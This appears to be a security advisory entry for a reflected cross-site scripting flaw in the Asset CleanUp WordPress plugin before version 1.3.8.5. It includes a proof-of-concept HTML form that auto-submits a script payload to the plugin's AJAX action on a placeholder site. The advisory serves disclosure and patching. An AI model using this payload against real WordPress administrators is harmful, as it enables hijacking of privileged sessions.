WordPress Plugin Vulnerabilities

Asset CleanUp < 1.3.8.5 - Reflected Cross-Site Scripting via AJAX Action

Description

The plugin does not sanitise and escape POSted parameters sent to the wpassetcleanup_fetch_active_plugins_icons AJAX action (available to admin users), leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="wpassetcleanup_fetch_active_plugins_icons" />
      <input type="hidden" name="xxx" value="<script>alert(/XSS/)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>